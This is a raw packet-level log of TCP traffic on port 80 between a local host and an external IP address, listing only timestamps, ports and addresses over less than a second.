Jun 20, 2024 15:38:14.826860905 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.826894045 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.826905966 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.826927900 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.826942921 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.826961994 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.826982021 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.826994896 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.827004910 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.827037096 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.827045918 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.827079058 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.827092886 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.827111006 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.827122927 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.827145100 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.827161074 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.827184916 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.827195883 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.827229977 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.827241898 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.827261925 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.827292919 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.827294111 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.827305079 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.827327967 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.827375889 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.827379942 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.827415943 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.827430964 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.827449083 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.827477932 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.827480078 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.827490091 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.827514887 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.827521086 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.827547073 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.827558994 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.827580929 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.827588081 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.827613115 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.827630043 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.827649117 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.827658892 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.827692986 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.827701092 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.827734947 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.827768087 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.827771902 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.827794075 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.827800989 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.827816963 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.827836990 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.827857018 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.827892065 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.827919006 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.827929020 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.827938080 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.827982903 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.863075972 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.863168001 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.863174915 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.863204002 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.863219023 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.863238096 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.863250971 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.863289118 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.863300085 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.863322973 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.863348007 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.863354921 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.863363028 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.863389969 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.863394976 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.863447905 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.866467953 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.866532087 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.866636992 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.866672039 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.866703987 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.866719961 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.866735935 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.866753101 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.866769075 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.866779089 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.866822004 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.866852999 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.866856098 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.866863966 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.866888046 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.866920948 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.866933107 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.866952896 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.866987944 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.867002964 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.867019892 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.867033005 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.867055893 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.867104053 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.867136002 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.867183924 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.867218018 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.867235899 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.867278099 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.867311954 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.867321014 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.867346048 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.867357016 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.867378950 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.867423058 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.911067963 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.911111116 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.911144018 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.911144018 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.911175013 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.911201000 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.911236048 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.911236048 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.911247015 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.911268950 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.911295891 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.911302090 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.911312103 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.911334991 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.911343098 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.911385059 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.911390066 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.911417007 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.911437035 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.911449909 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.911463976 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.911482096 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.911490917 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.911520958 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.911528111 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.911570072 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.911602974 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.911614895 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.911636114 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.911648989 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.911684036 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.911727905 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.911761999 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.911783934 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.911794901 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.911812067 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.911890984 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.912584066 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.912616968 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.912652016 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.912667990 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.912929058 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.912934065 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.912961006 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.912993908 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.913008928 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.913042068 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.913084030 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.913116932 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.913149118 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.913167953 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.913181067 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.913187027 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.913213968 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.913264036 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.913278103 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.913296938 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.913330078 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.913347006 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.913363934 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.913413048 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.913413048 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.913445950 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.913458109 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.913477898 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.913511992 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.913526058 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.913562059 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.913595915 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.913609028 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.913630009 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.913661957 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.913674116 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.913712978 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.913712978 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.913749933 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.913779020 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.913804054 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.913811922 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.913819075 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.913901091 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.913916111 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.913933992 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.913949013 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.913966894 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.913983107 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.914000034 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.914016008 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.914031982 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.914042950 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.914064884 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.914081097 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.914098024 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.914129972 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.914143085 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.914165974 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.914205074 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.914208889 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.914237022 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.914247990 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.914268970 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.914309978 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.914372921 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.914406061 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.914452076 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.914575100 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.914608002 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.914640903 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.914657116 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.914674044 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.914680004 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.914724112 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.914756060 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.914772034 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.914788961 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.914820910 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.914836884 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.914853096 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.914865971 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.914904118 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.914936066 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.914946079 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.914971113 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.915003061 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.915019989 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.915036917 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.915046930 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.915069103 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.915118933 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.915122986 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.915150881 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.915184021 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.915200949 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.915235043 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.915235996 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.915268898 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.915299892 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.915323019 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.915333033 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.915344000 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.915364981 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.915397882 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.915411949 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.915429115 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.915462017 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.915467978 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.915503025 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.946084976 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.946120024 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.946152925 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.946161032 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.946190119 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.946192980 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.946209908 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.946230888 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.946243048 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.946275949 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.946283102 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.946309090 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.946319103 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.946341038 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.946352005 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.946490049 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.949686050 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.949737072 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.949742079 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.949770927 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.949822903 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.949863911 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.949914932 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.949948072 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.949960947 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.949981928 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.950010061 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.950025082 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.950047016 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.950051069 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.950098038 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.950129986 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.950140953 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.950180054 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.950212002 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.950229883 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.950244904 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.950253010 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.950277090 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.950309992 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.950320005 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.950341940 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.950376987 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.950381994 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.950408936 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.950419903 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.950443029 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.950474977 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.950484037 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.950510025 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.950551033 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.994348049 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.994385958 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.994438887 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.994477034 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.994524956 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.994527102 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.994560957 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.994575977 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.994592905 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.994693995 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.994704008 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.994755030 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.994787931 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.994800091 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.994820118 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.994829893 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.994870901 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.994904041 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.994915962 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.994936943 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.994968891 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.994976044 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.995002031 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.995009899 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.995034933 CEST	80	49710	77.91.77.81	192.168.2.5
